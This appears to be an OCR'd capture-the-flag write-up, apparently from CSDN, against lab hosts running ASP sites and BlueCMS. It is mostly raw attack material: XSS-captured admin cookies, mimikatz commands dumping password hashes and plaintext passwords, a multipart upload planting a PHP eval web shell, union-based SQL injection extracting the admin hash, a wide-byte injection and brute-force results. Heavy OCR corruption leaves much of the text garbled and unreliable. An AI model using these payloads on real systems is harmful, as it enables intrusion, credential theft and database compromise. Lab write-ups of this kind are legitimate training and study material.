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Host: kypt8004. ia. aglab. cn

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101
Firefox/93.0

Accept:

text/htnl, application/xhtnl+xnl, application/xml;
Accept-Language: zh—-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK; =1
Accept-Encoding: gzip, deflate

Connection: close
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3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101
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Accept:
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Accept-Language: zh—CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK;q=0. 5, en-US;q=0. 3, en;q=0. 2
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11 http: /lypti004. 1a. aglab. en/upfile_photo. asp 200

12 http://kyptB004. 12, aglab. en/upfile_Other. asp 200

13 http: //kyptB004. 1. aglab. en/Upfile Froduct. asp 200

14 http: //kyptB004. 12, aglab. en/download. asp 200
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16 | http://kyptB004. ia. .cn/admin/login asp | zo0 |
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O 4= 2021-10-19 e location : hitp://59.63.200.7 e HTTP_USER_AGENT : Moz

21:59:11 9:8004/FeedbackView.asp illa/5.0 (Windows NT 6.1; W
« toplocation : http://59.63.20 OW64) AppleWebKit/534.34
0.79:8004/FeedbackView.as (KHTML, like Gecko) Phanto
p mJS/1.9.7 Safari/534.34
» cookie : ASPSESSIONIDSS « REMOTE_ADDR : 59.63.20
CARTAB=KOAPKMECPIFF 0.79

PPINCKHBNCBL,; flag=zkz
{xsser-g00d}, ADMINSESSIO 1BEESL: Windows 7
NIDCSTRCSDQ=LBMLMBC WSE2S: Safari(ifed~:unknow
CNPFINOANFGLPCFBC n)

o title - RS FEEL RS,
%

» charset : GB2312

» platform : Win32

* screen : 1920x1080

« htmlyuanma :

¢ IP-ADDR :

<html xmins="http://www.w3.or

g/1999/xhtml"><head=>
cHitlas BRI A AR B YN

FE: ! ERWebk =R !
# thcookie 5 il 2 T THI A T

« location : http://59.63.200.7
9:8004/FeedbackView.asp

» toplocation : http://59.63.20
0.79:8004/FeedbackView.as
P

* cookie : ASPSESSIONIDSS
CARTAB=LCBPKMECIHCJ
ENPKBKBCIIJI; flag=zkz{xs
ser-g00d},ADMINSESSIONI
DCSTRCSDQ=LBMLMBCC

« HTTP_USER_AGENT : Moz
illa/5.0 (Windows NT 6.1; W
OW64) AppleWebKit/534.34
(KHTML, like Gecko) Phanto
mJS/1.9.7 Safari/534.34

« REMOTE_ADDR : 59.63.20
0.79

« [P-ADDR :

BMEZSE: Windows 7
528 Safari(hZ:unknow
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o fitle : EEZ S HrLEGRE

gt
« charset: GB2312
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« screen : 1920x1080
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1 [GET /admin/default.asp HTTP/1.1 A

2 Host: d19k8005. ia. aglab. cn

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0)
Gecko/20100101 Firefox/93.0

1 HITP/1.1 200 OK

2 Date: Wed, 20 Oct 2021 10:04:22 GMT
3 Server: Microsoft-IIS/6.0

4 X-Powered-By: ASP.NET

4 Accept: 5 Content-Type: text/html
text/html, application/xhtml+xml, application/xml ;q=0. 9, inage/avif, inage/w 6 Cache-control: private
ebp, */*;q=0. 8 7 Content-Length: 2144

5 Accept-Language: 8 Connection: close
7h=CN sh-a=0 8 7h-TW-n=0 7 zh-HK-a=0 & an-I1S-n=N 2 an-a=0 2 a
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6 Accept-Encoding: gzip, deflate 10

7 Connection: close 11 <html>
8 Cookie: ASPSESSIONIDSSCARTAB=CJAPKMECHPODHHMFNPMMAOFL ; 12 <head>
ADMINSESSIONIDCSTRCSDQ=LBMLMBCCNPFINOANFGLPCFBC 13 <meta http-equiv=Content-Type content=text/html;charset=gh2312>
9 Upgrade-Insecure-Requests: 1 14 <title>
0 Cache-Control: max-age=0 il o it /5 T A
1 </title>
12 15 <gtyvle type="text/css”>
16 . navPoint {
COLOR:white;
CURSOR:hand;
FONT-FAMILY:Webdings;
FONT-SIZE:9pt
}
17 ca2{
BACKGROUND-COLOR: A4B8D7 ;
}
18 </style> CSDN @F, N2
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privilege: :debug ,JR AR
sekurlsa::logonpasswords ‘FH B3RS, 15 2% 49 :wow!yougotit!
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mimikatz 2.2.8 (xB6> #19841 Aug 18 2821 17:2@:39

"A La Vie. A L'Amour” - C(oe.eol

suxx Benjamin DELPY ‘gentilkiwi’® ¢ benjamin@gentilkiwi.com >
> https:/sblog.gentilkivi.com/mimikatz
Uincent LE TOUX ¢ vincent.letoux@Bgmail.com 2>
> https://spingcastle.com ~ https://mysmartlogon.com s/

Privilege *28°

Authentication Id
Session
Uzer Name

Domain H

msy
[AABRABAZ 1
#* Username
#* Domain

* LM

* NTLM

* SHAL
wdigest :

#* Username
#* Domain

#* Password
kerheros :
#* Username
#* Domain

#* Password
ssp

credman :

Authentication Id
Session

User Hame

Domain

Logon Server
Logon Time

SID

msy
[AABRABAZ 1
#* Username
#* Domain

* LM

* NTLM

* SHAL
wdigest :

#* Username
#* Domain

#* Password
kerheros :
#* Username
#* Domain

#* Password
ssp

credman :

Authentication Id
Session

User Hame

Domain

Vi ia 3C A, 15 3flag

mimikatz # privilege::debug
0K

mimikatz # sekurlsa::logonpasswords

B ; 297643522 (PUBBBBBA:11bdaeB2)>
Hemotelnteractive from 5

yuyu

GONGKATK-D45FB6

GONGKATK-D45FB6

2821-10-21 4:24:83
§-1-5-21-2775863710-29260827999-2173817585-16812

Primary

yuyu

GONGHAIK-D45FB6

877180583832 7aadaad3h435bh51404ee
17121639198d6845eB891df dbbf aBf3ed
d7cfcdchbabbaedbIeSeds85f71920a87eadbecl

yuyu
GONGKAIK-D45FB6
4567

yuyu
GONGKAIK-D45FB6
4567

@ ; 156768936 (PPABPAAAA:A9581aa8)
Remotelnteractive from 3

Administrator

GONGHATK-D45FB6

GONGHAIK-D45FB6

2821-5-7 2:24:1@
§-1-5-21-2775063910-2920827999-2173817585-500

Primary

: Administrator

: GONGHAIK-D45FB6

- 4d582fa?df ?504345eBe7haadel462eb

: 43322078af aBB%e76ead4e24593feBf6

: Bdabchfad62801P06Baebba?dbcld?S599f 354F 44

Administrator
GONGHATK-D45FB6
wouwtyougotitct

Administrator
GONGHATK-D45FB6
wouwtyougotitct

@ ; 27520470 (BPABAAAA:A1laleddb >
Remotelnteractive from 4
Administrator

GONGHATK-D45FB6
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TRAT A BT RE A
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EEXE B, E1451.php, ¥content-typeZS BRI A B F KA image/jpeg

APk ‘1 £ hitpiilthiqB003 ia aglab cn80 [59 63 200 79] %
& AHE e |ﬁ| | Lohp i &% J L E=23 ) gk L 35h | | Open Browser | .
| GHEER =T, W Raw | Params | Headers | Hex |
e 1 POST /bluecms/uploads/user. php HTTP/1. 1
@ FElfid oA @FRE OB Ox 2 Host: rhiq8003. ia. aqlab. cn
L 3 User-Agent: Mozilla/5.0 (Windows NT 10.0:; Win64; x64; rv:92.0) Gecko/20100
E FEE =TIl [123@gq.com 4 Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, inage/avif, 11
W TR ] 5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK;q=0. 5, en-US;q=0. 3, en;q=0.
»ﬂ;fLJ_‘.gy)l\r'piH MSH: 6 Accept-Encoding: gzip, deflate
T"’iiﬁ'“j 7 Content-Type: multipart/form-data; boundary= 278
wIR K Qa: ¢ Content-Length: 1783
s 9 Origin: http://rhiq8003. ia. aglab. cn
B FEEE hiiE: 10 Connection: close
. 11 Referer: http://rhiq8003. ia. aglab. en/bluecms/uploads/user. php?act=my_info
wHEE: 12 Cookie: detail=4; PHPSESSID=rcpd6ldjb45nh6ugdiigedTnhd; BLUE[user id]=20;
13 Upgrade-Insecure-Requests: 1
Fill: 14
" 15 2785587819715551230619438653
- ‘ 16 Content-Disposition: form-data; name="face picl”
e — 17
AR 151
19 2785587819715551230619438653
FEE T 20 Content-Disposition: form-data; name="face_pic2”; filename="1. php”
n 21 Content-Type: image/jpeg|
@ Hackbar DBl O ERE N e (JatmEs Qww Qoar @ e  oEEwE 5w
23 <?php @eval ($§_POST[' 123" 1) ;2>
Encoding~ SQL~ XSS~ LFl~ XXE~ Other~ 24 2785587819715551230619438653
25 Content-Disposition: form-data; name="birthday”
26
27 2021-10-21
28 2785587819715551230619438653
4 29 Content-Disposition: form-data; name="sex”
30
reres 310
il 32 2785587819715551230619438653
33 Content-Disnosition: form- da‘ra name="email” CSDN @F,
ErErizh
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»igﬁyéi @ AHER: EIERIPTFEMAPES, DMRITEmMEShiEase !

Pt 5 2

FZRT)ER:, 183flag

59.63.200. 79
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|l Doouments and Settings

B ), 32t (10) F=t

hj Program Files

) Inetpub .
[ Program Files & reCYCLER
() RECYCLER )
I System Volume Information Il System Volume Information
[-ﬂ web
) WIHDOWS 2 web
() wmpub
B e D 3 wrnDows
5 () phpStudy
5@ '—"" 22 wnpub
= ] blusems
B l_@ uploads =]
~ AUTOEXEC. BAT
Bl ) date &
B 3 upload . o
B fnce_pic boot. ini
El S E:
= 5 1386 D bootfont. bin
L AT _
(] COMPDATA CONFIG. SYS5
I DRW
LaNG Bl flag txt
L sysTEMG2
() WINOXURG 10.5YS
) WINNTMIG
LT v —u

m [:IEE Gk qB003. 1a. aglab. of

A C:\flag. txt
zkz {F3ck_power_3vistem}

rhig8003. 1a. aglab. € |l

Aitflaghxt, R EREER, G HAGTE

Tk

PGS & T

fEad_js.php B fifE A fad_idSHHH&A i #EsqiE NI R ERF, AT MEAN

define ('IN_BLUE', true):
require_once dirname(_ FILE ) . '/include/common.inc.php':
$ad id = !'empty($ GET['ad id']) ? trim($_GEI['ad id']) = "' .:|
if (empty ($ad_id))
{

echo 'Error!':

exit():

Big

2021-04-14 15:35:40
2021-10-21 12:04:03
2018-10-17 07:39.56
2019-06-27 09:22:33
2020-10-30 13:47:50
2018-10-17 07:36:19
2018-10-17 07:35:45
2018-10-17 07:28:34
2007-03-07 12:00:00
2018-10-17 07:35:45
20180402 11:25:38

2018-10-17 07:35:45

$ad = $db->getone ("SELECT * FROM ".table('ad')." WHERE ad id =".$ad id):

if(Sad['time_set'] == 0)
{
$ad_content = $ad['content'];

CSDN @F, MNIZIR

#l B
1] 0565
1] o7y
1] 0T
1] oree
1] o7y
a o7y
1] oree
210 0666
322730 0444
1] 0666
23 0666
1] 0444
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else

{
if($ad(['end time'] < time())
{
fad_content = $ad['exp content']; CSDN @F, N IZn2
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BT B
O O=s2 @recksar DisEs OESE Nm2 ()edteasEs Qe OnsE O s 7 BESks 8 uEEs 01 ] -
Encryption ~  Encoding~ SQL~ XSS~ LFI~ XXE~ Other~ Commit now! HackBar v2
& Load URL http:/irhiq8003.ia.aglab.cn/bluecms/uploads/ad_js.php?ad_id=1 ) -
0 order by 7 CSDN @F, N g

Error: Query error:SELECT * FROM blue ad WHERE ad id =1 order by 8

O O =5 @ Hackbar D &EHE DiEEE N Mg () #asEs O s O RE

Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other~

& Load URL http://rhiq8003.ia.aglab.cn/bluecms/uploads/ad_js.php?ad_id=1
order by § CSDN @F, N 1212
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< C O & rhiq8003.ia.aqlab.cn/bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7

\A FERCTFESFE - B (B8 feiniaotjx... (@ CTFELTE-CTFL..

( O==% @HackBar DEHE DESE NRE (JEEEE O e B & «« TESRE 8 NEEs

Q &7 HTML + X Vs
<!--document.write("7");--> E O
<html> ¥

<head></head> CSDN @F, NIE
BE
& C O &8 rhig8003.ia.aglab.cn/bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()

O TEECTHESFS - A... (85558 feiniaotix... (@ CTFELTE-CTFL...



Q= HTML + A VihEEs
<!--document.write("blue_test");--> 3‘73?%‘59; f @F, M
<htmls» } )

N @ Hacksar D#la DEtE NRe ((atmes Q#e Qe ek & cEEks 8 uEes O =853

BR, XBEXT BT\ BT LMEH ex626c7565574657374 (FA16EHIEY, AF/EMGI S, FH EHETHEFMOx)
# 'blue_test’

<~ C QO 8 Is/ad js.php?ad_id=1 union select 1,2,3,4,5,6,table_name from information_schema.tables where table_schema=0x626c75655f74657374 limit 2,1

9 EECTFEIFE - 6. (858 feiniaotjx... (@ CTFAEHTE-CTFL.

™ O =55 @Hakbar D BEwEE NME {(ammEs QO Ore D F Feskhs O eHe 38 0Ees
Q s HTML + 2 TmE hov ds + ¥ @ @ [ ®E HEE

<!--document.write("blue_admin");--> TR O
1

PO

BEFE

<~ @] QO 8 jsphp?ad id=1 union select 1,2,3,4,5,6,column_name from information_schema.columns where table_name=0x626c75655f61646d696e limit 1,1
A EECTHESRS - AY... (BFiME) feiniaotjx.. (@ CTAELTE-CTFL.



O O =Es @racksar DiEfs D EESE N RE (Jatess O Do B ak o Thems 588 umes

Qi3 HTML + M Vst hov ds + % @ O [ %5 =&
<!--document.write("admin_name");--> TE O { PR e 3 —{o
<html> } "_J_R"Tﬁ%r, N

<~ &) QO & jsphp?ad_id=1 union select 1,2,3,4,5,6,column_name from information_schema.columns where table name=0x626c75655f61646d696e limit 3,1

O\ [EECTREIFS - RS (8538 feiniaotjx.. (@ CTFEETE-CTFL..

[y =5% @ HackBar O s N RE () #tmiEs D8 O 8E HhE  AEERE ) sss 88 nEEs
m

Q7% HTML + | VimsEm hov cls + ¥ @ B B #5 HEE
<!--document.write("pwd");--> E O { P = mmpe
<ntnls ) OB, N

BEFBRARBIH A E5ENY, FEEmISRE

&~ C QO & rhig8003.ia.aglab.cn/bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,admin_name from blue_admin

O TERCTFE TS - . (8&EE) feiniaotjx... (@ CTFEETE CTFL...



O O =Es @Hackbar O EtE N RE ()} amemEs Qe $we B ek 4 msiis O 2sa 8 eeEs

Q7 HTML + £ ViR thov .cls + 8
<!--document.write("admin");--> = O
<html> e :
<head></head> CSDN @F, N IZ

&~ C O & rhig8003.ia.aglab.cn/bluecms/uploads/ad js.php?ad id=1 union select 1,2,3,4,5,6,pwd from blue_admin

O FEECTFEITEE - B.. (85558) feiniaotjx... (@ CTFEETE-CTFT..

O O == @Hackbar D EHE OREESE N M (IaftEss: QO e B e T AE8TE 8 uEEs

Q #EHTML + X VilEe thov .cls +
<!--document.write("46128aa4aa7b5b27cc8lebbcdeb8b95d™); --> TE O {
<html> ¥ CSDN @F, M
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Raw | Params | Headers | Hex

Powered by BlueCMS v1.6

Raw | Headers [ Hex | Render

“owm- o o W b e

)

13
14
15

POST /bluecms/uploads/search. php HITP/L. 1

Host: rhiq8003. ia. aglab. cn

User-Agent: Mozilla/5. 0 (Windows NT 10.0; Win64; x64; rv:93.0)
Gecko/20100101 Firefox/93.0

Accept:

text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, i
mage/webp, #/%;q=0. 8

Accept-Language:

zh-CN, zh:q=0. 8, zh-TW:q=0. 7, zh-HK:q=0. 5, en-US;q=0. 3, en: q=0. 2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 27

Origin: http://rhig8003. ia. aglab. cn

Connection: close

Referer:

http://rhiq8003. ia. aglab. cn/bluecns/uploads/info_index. php
Cookie: detail=5; BLUE[user_id]=20; BLUE[user_name]=hahaha. ;
BLUE[user_pwd]=820f4c0341dedf Tf1279d549e466372b; PHPSESSID=
5jass9rdrukjdiclnfvadbpetl

Upgrade-Insecure—Requests: 1

cid=kaid=1&keywords=123%df" fkx=47&y=13

HEut TREZH: BEEHEZKS

Error: Query error:SELECT COUNT(*) AS num FROM bluc_post WHERE 1=1 AND arca_id = 1 AND title LIKE %51237E%' OR
keywords LIKE %1233 %'
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& C O & rhiq8003.ia.aqlab.cn/dami_777/dami_888/admin.php?s=/Public/login.html 2] o n & =

\J EEECTRESTFS - B (85348 feiniaotjx.. (@ CTFESTE-CTFT.. [#anss ke

CS5DN @F,

FFUGIRE
&k Payload1 Payload2 s ¥ iz FRAT KE g
60 zkag zkag 302 O @] 497 A
73 zkaq zkaq 302 O O 497
0 200 O O 1658
1 admin admin 200 O (D] 1658
2 zkaq admin 200 O O 1643
3 root admin 200 O O 1658
4 test admin 200 O O 1658
5 system admin 200 O O 1658
6 guest admin 200 U @] 1658
7 systemadmin admin 200 [O 1 O 1es8
8 test1 admin 200 O O 1658
9 test12 admin 200 O O 1658
tart122 admin aNnn r (| 1RER
EiS ESONFaR
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